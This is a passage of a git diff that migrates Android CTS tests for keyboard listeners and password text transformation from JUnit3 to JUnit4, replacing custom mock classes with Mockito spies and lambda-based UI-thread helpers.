         KeyEvent fullEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_SHIFT_LEFT,
                 0, 0, KeyCharacterMap.VIRTUAL_KEYBOARD, 0);
@@ -334,6 +397,7 @@
         assertEquals(0, state);
     }
 
+    @Test
     public void testHandleKeyUp() {
         KeyEvent fullEvent = new KeyEvent(0, 0, KeyEvent.ACTION_UP, KeyEvent.KEYCODE_SHIFT_LEFT,
                 0, 0, KeyCharacterMap.VIRTUAL_KEYBOARD, 0);
@@ -357,20 +421,14 @@
     /**
      * A mocked {@link android.text.Spannable} for testing purposes.
      */
-    private class MockSpannable implements Spannable {
+    public static class MockSpannable implements Spannable {
         private int mFlags;
-        private boolean mCalledRemoveSpan = false;
-
-        public boolean hasCalledRemoveSpan() {
-            return mCalledRemoveSpan;
-        }
 
         public void setSpan(Object what, int start, int end, int flags) {
             mFlags = flags;
         }
 
         public void removeSpan(Object what) {
-            mCalledRemoveSpan = true;
         }
 
         public <T> T[] getSpans(int start, int end, Class<T> type) {
diff --git a/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
index e537b24..c73b7fa 100644
--- a/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MultiTapKeyListenerTest.java
@@ -16,25 +16,41 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Selection;
 import android.text.Spannable;
 import android.text.SpannableStringBuilder;
-import android.text.method.cts.KeyListenerTestCase;
 import android.text.method.MultiTapKeyListener;
 import android.text.method.TextKeyListener.Capitalize;
 import android.view.KeyEvent;
-import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
-import java.util.concurrent.TimeUnit;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@LargeTest
+@RunWith(AndroidJUnit4.class)
 public class MultiTapKeyListenerTest extends KeyListenerTestCase {
     /**
      * time out of MultiTapKeyListener. longer than 2000ms in case the system is sluggish.
      */
     private static final long TIME_OUT = 3000;
 
+    @Test
     public void testConstructor() {
         new MultiTapKeyListener(Capitalize.NONE, true);
 
@@ -43,23 +59,24 @@
         new MultiTapKeyListener(null, false);
     }
 
-    public void testOnSpanAdded() {
-        final MockMultiTapKeyListener mockMultiTapKeyListener
-                = new MockMultiTapKeyListener(Capitalize.CHARACTERS, true);
+    @Test
+    public void testOnSpanAdded() throws Throwable {
+        final MultiTapKeyListener mockMultiTapKeyListener
+                = spy(new MultiTapKeyListener(Capitalize.CHARACTERS, true));
         final Spannable text = new SpannableStringBuilder("123456");
 
-        assertFalse(mockMultiTapKeyListener.hadAddedSpan());
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(mockMultiTapKeyListener);
-                mTextView.setText(text, BufferType.EDITABLE);
-            }
+        verify(mockMultiTapKeyListener, never()).onSpanAdded(any(), any(), anyInt(), anyInt());
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setKeyListener(mockMultiTapKeyListener);
+            mTextView.setText(text, BufferType.EDITABLE);
         });
         mInstrumentation.waitForIdleSync();
 
-        assertTrue(mockMultiTapKeyListener.hadAddedSpan());
+        verify(mockMultiTapKeyListener, atLeastOnce()).onSpanAdded(
+                any(), any(), anyInt(), anyInt());
     }
 
+    @Test
     public void testOnSpanChanged() {
         final MultiTapKeyListener multiTapKeyListener
                 = MultiTapKeyListener.getInstance(true, Capitalize.CHARACTERS);
@@ -74,7 +91,8 @@
         }
     }
 
-    public void testOnKeyDown_capitalizeNone() {
+    @Test
+    public void testOnKeyDown_capitalizeNone() throws Throwable {
         MultiTapKeyListener keyListener = MultiTapKeyListener.getInstance(false, Capitalize.NONE);
 
         prepareEmptyTextView();
@@ -95,7 +113,8 @@
         assertEquals("hello", mTextView.getText().toString());
     }
 
-    public void testOnKeyDown_capitalizeCharacters() {
+    @Test
+    public void testOnKeyDown_capitalizeCharacters() throws Throwable {
         MultiTapKeyListener keyListener = MultiTapKeyListener.getInstance(false,
                 Capitalize.CHARACTERS);
 
@@ -117,7 +136,8 @@
         assertEquals("HELLO", mTextView.getText().toString());
     }
 
-    public void testOnKeyDown_capitalizeSentences() {
+    @Test
+    public void testOnKeyDown_capitalizeSentences() throws Throwable {
         MultiTapKeyListener keyListener = MultiTapKeyListener.getInstance(false,
                 Capitalize.SENTENCES);
 
@@ -144,7 +164,8 @@
         assertEquals("Hi. Bye", mTextView.getText().toString());
     }
 
-    public void testOnKeyDown_capitalizeWords() {
+    @Test
+    public void testOnKeyDown_capitalizeWords() throws Throwable {
         MultiTapKeyListener keyListener = MultiTapKeyListener.getInstance(false,
                 Capitalize.WORDS);
 
@@ -168,25 +189,21 @@
         assertEquals("Hi Bye", mTextView.getText().toString());
     }
 
-    private void prepareEmptyTextView() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("", BufferType.EDITABLE);
-                Selection.setSelection(mTextView.getEditableText(), 0, 0);
-            }
+    private void prepareEmptyTextView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setText("", BufferType.EDITABLE);
+            Selection.setSelection(mTextView.getEditableText(), 0, 0);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals("", mTextView.getText().toString());
     }
 
     private void callOnKeyDown(final MultiTapKeyListener keyListener, final int keyCode,
-            final int numTimes) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                for (int i = 0; i < numTimes; i++) {
-                    keyListener.onKeyDown(mTextView, mTextView.getEditableText(), keyCode,
-                            new KeyEvent(KeyEvent.ACTION_DOWN, keyCode));
-                }
+            final int numTimes) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            for (int i = 0; i < numTimes; i++) {
+                keyListener.onKeyDown(mTextView, mTextView.getEditableText(), keyCode,
+                        new KeyEvent(KeyEvent.ACTION_DOWN, keyCode));
             }
         });
         mInstrumentation.waitForIdleSync();
@@ -199,15 +216,12 @@
         }
     }
 
-    private void addSpace() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.append(" ");
-            }
-        });
+    private void addSpace() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView.append(" "));
         mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testGetInstance() {
         MultiTapKeyListener listener1 = MultiTapKeyListener.getInstance(false, Capitalize.NONE);
         MultiTapKeyListener listener2 = MultiTapKeyListener.getInstance(false, Capitalize.NONE);
@@ -223,6 +237,7 @@
         assertNotSame(listener4, listener1);
     }
 
+    @Test
     public void testOnSpanRemoved() {
         MultiTapKeyListener multiTapKeyListener =
                 new MultiTapKeyListener(Capitalize.CHARACTERS, true);
@@ -230,6 +245,7 @@
         multiTapKeyListener.onSpanRemoved(text, new Object(), 0, 0);
     }
 
+    @Test
     public void testGetInputType() {
         MultiTapKeyListener listener = MultiTapKeyListener.getInstance(false, Capitalize.NONE);
         int expected = InputType.TYPE_CLASS_TEXT;
@@ -241,27 +257,4 @@
                 | InputType.TYPE_TEXT_FLAG_AUTO_CORRECT;
         assertEquals(expected, listener.getInputType());
     }
-
-    /**
-     * A mocked {@link android.text.method.MultiTapKeyListener} for testing purposes.
-     *
-     * Tracks whether {@link MockMultiTapKeyListener#onSpanAdded()} has been called.
-     */
-    private class MockMultiTapKeyListener extends MultiTapKeyListener {
-        private boolean mHadAddedSpan;
-
-        public MockMultiTapKeyListener(Capitalize cap, boolean autotext) {
-            super(cap, autotext);
-        }
-
-        @Override
-        public void onSpanAdded(Spannable s, Object what, int start, int end) {
-            mHadAddedSpan = true;
-            super.onSpanAdded(s, what, start, end);
-        }
-
-        public boolean hadAddedSpan() {
-            return mHadAddedSpan;
-        }
-    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
index 09053f1..c4a7944 100644
--- a/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
@@ -16,8 +16,14 @@
 
 package android.text.method.cts;
 
-import android.cts.util.KeyEventUtil;
-import android.text.Editable;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Selection;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -26,18 +32,16 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class NumberKeyListenerTest extends KeyListenerTestCase {
     private MockNumberKeyListener mMockNumberKeyListener;
 
-    private KeyEventUtil mKeyEventUtil;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
-    }
-
     /**
      * Check point:
      * 1. Filter "Android test", return "".
@@ -46,6 +50,7 @@
      * 4. Filter "12345 Android", return "12345".
      * 5. Filter Spanned("12345 Android"), return Spanned("12345") and copy spans.
      */
+    @Test
     public void testFilter() {
         mMockNumberKeyListener = new MockNumberKeyListener(MockNumberKeyListener.DIGITS);
         String source = "Android test";
@@ -90,6 +95,7 @@
      * If one of the chars in the getAcceptedChars() can be generated by the keyCode of this
      * key event, return the char; otherwise return '\0'.
      */
+    @Test
     public void testLookup() {
         mMockNumberKeyListener = new MockNumberKeyListener(MockNumberKeyListener.DIGITS);
         KeyEvent event1 = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
@@ -109,6 +115,7 @@
         }
     }
 
+    @Test
     public void testOk() {
         mMockNumberKeyListener = new MockNumberKeyListener(MockNumberKeyListener.DIGITS);
 
@@ -128,42 +135,39 @@
      * 2. Press an unaccepted key if it exists, it will not be added.
      * 3. remove NumberKeyListener and press '0' key, '0' will not be added.
      */
+    @Test
     public void testPressKey() {
         final CharSequence text = "123456";
         final MockNumberKeyListener mockNumberKeyListener =
             new MockNumberKeyListener(MockNumberKeyListener.DIGITS);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText(text, BufferType.EDITABLE);
-                mTextView.setKeyListener(mockNumberKeyListener);
-                mTextView.requestFocus();
-                Selection.setSelection((Editable) mTextView.getText(), 0, 0);
-            }
+        mActivity.runOnUiThread(() -> {
+            mTextView.setText(text, BufferType.EDITABLE);
+            mTextView.setKeyListener(mockNumberKeyListener);
+            mTextView.requestFocus();
+            Selection.setSelection(mTextView.getText(), 0, 0);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals("123456", mTextView.getText().toString());
         // press '0' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_0);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_0);
         assertEquals("0123456", mTextView.getText().toString());
 
         // an unaccepted key if it exists.
         int keyCode = TextMethodUtils.getUnacceptedKeyCode(MockNumberKeyListener.DIGITS);
         if (-1 != keyCode) {
-            mKeyEventUtil.sendKeys(mTextView, keyCode);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, keyCode);
             // text of TextView will not be changed.
             assertEquals("0123456", mTextView.getText().toString());
         }
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(null);
-                mTextView.requestFocus();
-            }
+        mActivity.runOnUiThread(() -> {
+            mTextView.setKeyListener(null);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
         // press '0' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_0);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_0);
         assertEquals("0123456", mTextView.getText().toString());
     }
 
diff --git a/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
index 1131e6c..bb4ffb6 100644
--- a/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
@@ -16,24 +16,44 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
 
-import android.cts.util.KeyEventUtil;
-import android.cts.util.PollingCheck;
-import android.graphics.Rect;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.os.ParcelFileDescriptor;
 import android.provider.Settings.SettingNotFoundException;
 import android.provider.Settings.System;
-import android.test.ActivityInstrumentationTestCase2;
-import android.text.Editable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.method.PasswordTransformationMethod;
 import android.util.TypedValue;
 import android.view.KeyCharacterMap;
-import android.view.View;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.LinearLayout.LayoutParams;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.util.Scanner;
@@ -41,8 +61,9 @@
 /**
  * Test {@link PasswordTransformationMethod}.
  */
-public class PasswordTransformationMethodTest extends
-        ActivityInstrumentationTestCase2<CtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PasswordTransformationMethodTest {
     private static final int EDIT_TXT_ID = 1;
 
     /** original text */
@@ -52,85 +73,72 @@
     private static final String TEST_CONTENT_TRANSFORMED =
         "\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022";
 
-    private int mPasswordPrefBackUp;
-
-    private boolean isPasswordPrefSaved;
-
+    private Instrumentation mInstrumentation;
     private CtsActivity mActivity;
-
-    private MockPasswordTransformationMethod mMethod;
-
+    private int mPasswordPrefBackUp;
+    private boolean isPasswordPrefSaved;
+    private PasswordTransformationMethod mMethod;
     private EditText mEditText;
-
     private CharSequence mTransformedText;
 
-    public PasswordTransformationMethodTest() {
-        super("android.text.cts", CtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
 
-    private KeyEventUtil mKeyEventUtil;
+    @Before
+    public void setup() throws Throwable {
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(1000, mActivity::hasWindowFocus);
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mMethod = spy(new PasswordTransformationMethod());
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        new PollingCheck(1000) {
-            @Override
-            protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mMethod = new MockPasswordTransformationMethod();
-        try {
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    EditText editText = new EditTextNoIme(mActivity);
-                    editText.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
-                    editText.setId(EDIT_TXT_ID);
-                    editText.setTransformationMethod(mMethod);
-                    Button button = new Button(mActivity);
-                    LinearLayout layout = new LinearLayout(mActivity);
-                    layout.setOrientation(LinearLayout.VERTICAL);
-                    layout.addView(editText, new LayoutParams(LayoutParams.MATCH_PARENT,
-                            LayoutParams.WRAP_CONTENT));
-                    layout.addView(button, new LayoutParams(LayoutParams.MATCH_PARENT,
-                            LayoutParams.WRAP_CONTENT));
-                    mActivity.setContentView(layout);
-                    editText.requestFocus();
-                }
-            });
-        } catch (Throwable e) {
-            fail("Exception thrown is UI thread:" + e.getMessage());
-        }
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> {
+            EditText editText = new EditTextNoIme(mActivity);
+            editText.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
+            editText.setId(EDIT_TXT_ID);
+            editText.setTransformationMethod(mMethod);
+            Button button = new Button(mActivity);
+            LinearLayout layout = new LinearLayout(mActivity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+            layout.addView(editText, new LayoutParams(LayoutParams.MATCH_PARENT,
+                    LayoutParams.WRAP_CONTENT));
+            layout.addView(button, new LayoutParams(LayoutParams.MATCH_PARENT,
+                    LayoutParams.WRAP_CONTENT));
+            mActivity.setContentView(layout);
+            editText.requestFocus();
+        });
+        mInstrumentation.waitForIdleSync();
 
-        mEditText = (EditText) getActivity().findViewById(EDIT_TXT_ID);
+        mEditText = (EditText) mActivity.findViewById(EDIT_TXT_ID);
         assertTrue(mEditText.isFocused());
 
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
-
         enableAppOps();
         savePasswordPref();
         switchShowPassword(true);
     }
 
+    @After
+    public void teardown() {
+        resumePasswordPref();
+    }
+
     private void enableAppOps() {
+        UiAutomation uiAutomation = mInstrumentation.getUiAutomation();
+
         StringBuilder cmd = new StringBuilder();
         cmd.append("appops set ");
-        cmd.append(getInstrumentation().getContext().getPackageName());
+        cmd.append(mActivity.getPackageName());
         cmd.append(" android:write_settings allow");
-        getInstrumentation().getUiAutomation().executeShellCommand(cmd.toString());
+        uiAutomation.executeShellCommand(cmd.toString());
 
         StringBuilder query = new StringBuilder();
         query.append("appops get ");
-        query.append(getInstrumentation().getContext().getPackageName());
+        query.append(mActivity.getPackageName());
         query.append(" android:write_settings");
         String queryStr = query.toString();
 
         String result = "No operations.";
         while (result.contains("No operations")) {
-            ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation().executeShellCommand(
-                                        queryStr);
+            ParcelFileDescriptor pfd = uiAutomation.executeShellCommand(queryStr);
             InputStream inputStream = new FileInputStream(pfd.getFileDescriptor());
             result = convertStreamToString(inputStream);
         }
@@ -142,63 +150,49 @@
         }
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        resumePasswordPref();
-        super.tearDown();
-    }
-
+    @Test
     public void testConstructor() {
         new PasswordTransformationMethod();
     }
 
+    @Test
     public void testTextChangedCallBacks() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mTransformedText = mMethod.getTransformation(mEditText.getText(), mEditText);
-            }
-        });
+        mActivityRule.runOnUiThread(() ->
+            mTransformedText = mMethod.getTransformation(mEditText.getText(), mEditText));
 
-        mMethod.reset();
+        reset(mMethod);
         // 12-key support
         KeyCharacterMap keymap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
         if (keymap.getKeyboardType() == KeyCharacterMap.NUMERIC) {
             // "HELLO" in case of 12-key(NUMERIC) keyboard
-            mKeyEventUtil.sendKeys(mEditText, "6*4 6*3 7*5 DPAD_RIGHT 7*5 7*6 DPAD_RIGHT");
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mEditText,
+                    "6*4 6*3 7*5 DPAD_RIGHT 7*5 7*6 DPAD_RIGHT");
         }
         else {
-            mKeyEventUtil.sendKeys(mEditText, "H E 2*L O");
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mEditText, "H E 2*L O");
         }
-        assertTrue(mMethod.hasCalledBeforeTextChanged());
-        assertTrue(mMethod.hasCalledOnTextChanged());
-        assertTrue(mMethod.hasCalledAfterTextChanged());
+        verify(mMethod, atLeastOnce()).beforeTextChanged(any(), anyInt(), anyInt(), anyInt());
+        verify(mMethod, atLeastOnce()).onTextChanged(any(), anyInt(), anyInt(), anyInt());
+        verify(mMethod, atLeastOnce()).afterTextChanged(any());
 
-        mMethod.reset();
+        reset(mMethod);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mEditText.append(" ");
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mEditText.append(" "));
 
         // the appended string will not get transformed immediately
         // "***** "
         assertEquals("\u2022\u2022\u2022\u2022\u2022 ", mTransformedText.toString());
-        assertTrue(mMethod.hasCalledBeforeTextChanged());
-        assertTrue(mMethod.hasCalledOnTextChanged());
-        assertTrue(mMethod.hasCalledAfterTextChanged());
+        verify(mMethod, atLeastOnce()).beforeTextChanged(any(), anyInt(), anyInt(), anyInt());
+        verify(mMethod, atLeastOnce()).onTextChanged(any(), anyInt(), anyInt(), anyInt());
+        verify(mMethod, atLeastOnce()).afterTextChanged(any());
 
         // it will get transformed after a while
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                // "******"
-                return mTransformedText.toString()
-                        .equals("\u2022\u2022\u2022\u2022\u2022\u2022");
-            }
-        }.run();
+        // "******"
+        PollingCheck.waitFor(() -> mTransformedText.toString()
+                .equals("\u2022\u2022\u2022\u2022\u2022\u2022"));
     }
 
+    @Test
     public void testGetTransformation() {
         PasswordTransformationMethod method = new PasswordTransformationMethod();
 
@@ -215,6 +209,7 @@
         }
     }
 
+    @Test
     public void testGetInstance() {
         PasswordTransformationMethod method0 = PasswordTransformationMethod.getInstance();
         assertNotNull(method0);
@@ -224,22 +219,6 @@
         assertSame(method0, method1);
     }
 
-    public void testOnFocusChanged() {
-        // lose focus
-        mMethod.reset();
-        assertTrue(mEditText.isFocused());
-        mKeyEventUtil.sendKeys(mEditText, "DPAD_DOWN");
-        assertFalse(mEditText.isFocused());
-        assertTrue(mMethod.hasCalledOnFocusChanged());
-
-        // gain focus
-        mMethod.reset();
-        assertFalse(mEditText.isFocused());
-        mKeyEventUtil.sendKeys(mEditText, "DPAD_UP");
-        assertTrue(mEditText.isFocused());
-        assertTrue(mMethod.hasCalledOnFocusChanged());
-    }
-
     private void savePasswordPref() {
         try {
             mPasswordPrefBackUp = System.getInt(mActivity.getContentResolver(),
@@ -261,62 +240,4 @@
         System.putInt(mActivity.getContentResolver(), System.TEXT_SHOW_PASSWORD,
                 on ? 1 : 0);
     }
-
-    private static class MockPasswordTransformationMethod extends PasswordTransformationMethod {
-        private boolean mHasCalledBeforeTextChanged;
-
-        private boolean mHasCalledOnTextChanged;
-
-        private boolean mHasCalledAfterTextChanged;
-
-        private boolean mHasCalledOnFocusChanged;
-
-        @Override
-        public void afterTextChanged(Editable s) {
-            super.afterTextChanged(s);
-            mHasCalledAfterTextChanged = true;
-        }
-
-        @Override
-        public void beforeTextChanged(CharSequence s, int start, int count, int after) {
-            super.beforeTextChanged(s, start, count, after);
-            mHasCalledBeforeTextChanged = true;
-        }
-
-        @Override
-        public void onFocusChanged(View view, CharSequence sourceText, boolean focused,
-                int direction, Rect previouslyFocusedRect) {
-            super.onFocusChanged(view, sourceText, focused, direction, previouslyFocusedRect);
-            mHasCalledOnFocusChanged = true;
-        }
-
-        @Override
-        public void onTextChanged(CharSequence s, int start, int before, int count) {
-            super.onTextChanged(s, start, before, count);
-            mHasCalledOnTextChanged = true;
-        }
-
-        public boolean hasCalledBeforeTextChanged() {
-            return mHasCalledBeforeTextChanged;
-        }
-
-        public boolean hasCalledOnTextChanged() {
-            return mHasCalledOnTextChanged;
-        }
-
-        public boolean hasCalledAfterTextChanged() {
-            return mHasCalledAfterTextChanged;
-        }
-
-        public boolean hasCalledOnFocusChanged() {
-            return mHasCalledOnFocusChanged;
-        }
-
-        public void reset() {
-            mHasCalledBeforeTextChanged = false;
-            mHasCalledOnTextChanged = false;
-            mHasCalledAfterTextChanged = false;
-            mHasCalledOnFocusChanged = false;
-        }
-    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
index 39deda3..c2e684a 100644
--- a/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
@@ -16,6 +16,13 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Selection;
 import android.text.Spannable;
@@ -25,7 +32,13 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class QwertyKeyListenerTest extends KeyListenerTestCase {
+    @Test
     public void testConstructor() {
         new QwertyKeyListener(Capitalize.NONE, false);
 
@@ -34,8 +47,9 @@
         new QwertyKeyListener(null, true);
     }
 
+    @Test
     public void testOnKeyDown_capitalizeNone() {
-        QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false, Capitalize.NONE);
+        final QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false, Capitalize.NONE);
 
         prepareEmptyTextView();
 
@@ -55,8 +69,9 @@
         assertEquals("hello", mTextView.getText().toString());
     }
 
+    @Test
     public void testOnKeyDown_capitalizeCharacters() {
-        QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false,
+        final QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false,
                 Capitalize.CHARACTERS);
 
         prepareEmptyTextView();
@@ -77,8 +92,9 @@
         assertEquals("HELLO", mTextView.getText().toString());
     }
 
+    @Test
     public void testOnKeyDown_capitalizeSentences() {
-        QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false,
+        final QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false,
                 Capitalize.SENTENCES);
 
         prepareEmptyTextView();
@@ -105,8 +121,9 @@
         assertEquals("Hi. Bye", mTextView.getText().toString());
     }
 
+    @Test
     public void testOnKeyDown_capitalizeWords() {
-        QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false,
+        final QwertyKeyListener keyListener = QwertyKeyListener.getInstance(false,
                 Capitalize.WORDS);
 
         prepareEmptyTextView();
@@ -131,31 +148,28 @@
     }
 
     private void prepareEmptyTextView() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("", BufferType.EDITABLE);
-                Selection.setSelection(mTextView.getEditableText(), 0, 0);
-            }
+        mInstrumentation.runOnMainSync(() -> {
+            mTextView.setText("", BufferType.EDITABLE);
+            Selection.setSelection(mTextView.getEditableText(), 0, 0);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals("", mTextView.getText().toString());
     }
 
     private void callOnKeyDown(final QwertyKeyListener keyListener, final int keyCode) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                keyListener.onKeyDown(mTextView, mTextView.getEditableText(), keyCode,
-                        new KeyEvent(KeyEvent.ACTION_DOWN, keyCode));
-            }
-        });
+        mInstrumentation.runOnMainSync(() -> keyListener.onKeyDown(mTextView,
+                mTextView.getEditableText(), keyCode,
+                new KeyEvent(KeyEvent.ACTION_DOWN, keyCode)));
         mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testGetInstance() {
-        QwertyKeyListener listener1 = QwertyKeyListener.getInstance(true, Capitalize.WORDS);
-        QwertyKeyListener listener2 = QwertyKeyListener.getInstance(true, Capitalize.WORDS);
-        QwertyKeyListener listener3 = QwertyKeyListener.getInstance(false, Capitalize.WORDS);
-        QwertyKeyListener listener4 = QwertyKeyListener.getInstance(true, Capitalize.SENTENCES);
+        final QwertyKeyListener listener1 = QwertyKeyListener.getInstance(true, Capitalize.WORDS);
+        final QwertyKeyListener listener2 = QwertyKeyListener.getInstance(true, Capitalize.WORDS);
+        final QwertyKeyListener listener3 = QwertyKeyListener.getInstance(false, Capitalize.WORDS);
+        final QwertyKeyListener listener4 = QwertyKeyListener.getInstance(true,
+                Capitalize.SENTENCES);
 
         assertNotNull(listener1);
         assertNotNull(listener2);
@@ -166,8 +180,18 @@
         assertNotSame(listener4, listener3);
     }
 
+    @Test
+    public void testGetInstanceForFullKeyboard() {
+        final QwertyKeyListener listener = QwertyKeyListener.getInstanceForFullKeyboard();
+
+        assertNotNull(listener);
+        // auto correct and cap flags should not be set
+        assertEquals(InputType.TYPE_CLASS_TEXT, listener.getInputType());
+    }
+
+    @Test
     public void testMarkAsReplaced() {
-        SpannableStringBuilder content = new SpannableStringBuilder("123456");
+        final SpannableStringBuilder content = new SpannableStringBuilder("123456");
 
         Object[] repl = content.getSpans(0, content.length(), Object.class);
         assertEquals(0, repl.length);
@@ -185,27 +209,25 @@
         assertEquals(1, content.getSpanStart(repl[0]));
         assertEquals(2, content.getSpanEnd(repl[0]));
         assertEquals(Spannable.SPAN_EXCLUSIVE_EXCLUSIVE, content.getSpanFlags(repl[0]));
-
-        try {
-            QwertyKeyListener.markAsReplaced(null, 1, 2, "abcd");
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            QwertyKeyListener.markAsReplaced(content, 1, 2, null);
